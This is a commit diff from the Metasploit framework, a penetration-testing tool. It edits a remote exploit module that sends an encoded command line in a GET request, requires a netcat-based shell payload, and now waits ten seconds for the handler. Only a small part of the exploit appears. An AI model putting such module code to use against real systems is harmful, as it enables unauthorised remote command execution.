Add a 10 second timeout, remove Wfs

git-svn-id: file:///home/svn/framework3/trunk@9624 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-06-25 16:09:33 +00:00
parent 453c9fc3c4
commit 816b769b3f
1 changed files with 5 additions and 1 deletions

View File

@ -43,7 +43,6 @@ class Metasploit3 < Msf::Exploit::Remote
{
'Space' => 1024,
'DisableNops' => true,
'WfsDelay' => 20,
'Compat' =>
{
'RequiredCmd' => 'generic netcat-e'
@ -74,7 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending GET request with encoded command line...")
sock.put(req)
print_status("Giving the handler time to run...")
handler
select(nil, nil, nil, 10.0)
disconnect
end